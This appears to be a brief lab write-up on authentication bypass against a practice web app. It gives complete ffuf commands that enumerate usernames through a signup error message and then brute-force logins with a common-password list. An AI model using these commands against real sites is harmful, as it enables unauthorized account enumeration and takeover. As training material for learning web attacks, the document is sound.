Authentication Bypass
Last updated
Last updated
http://10.10.16.149/customers/signup
When i try to create an account for "Admin", i got an error stated that username already exixts.
Using ffuf to
ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.16.149/customers/signup -mr "username already exists"
-d specifies the data that we are going to send (Ex: username, email, password and cpassword)
-H for adding additional headers to the request
-u specifies the URL we are making the request to
-mr text on the page we are looking for to validate we've found a valid username (error text)
so we can verify that there's 4 username (admin, robert, simon and steve)
http://10.10.157.211/customers/login
ffuf -w /root/valid_usernames.txt:W1,/root/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.157.211/customers/login -fc 200
W1 for our list of valid usernames (admin, steve, simon, robert) W2 for the list of passwords we will try -fc argument to check for an HTTP status code other than 200
By AdaniKamal
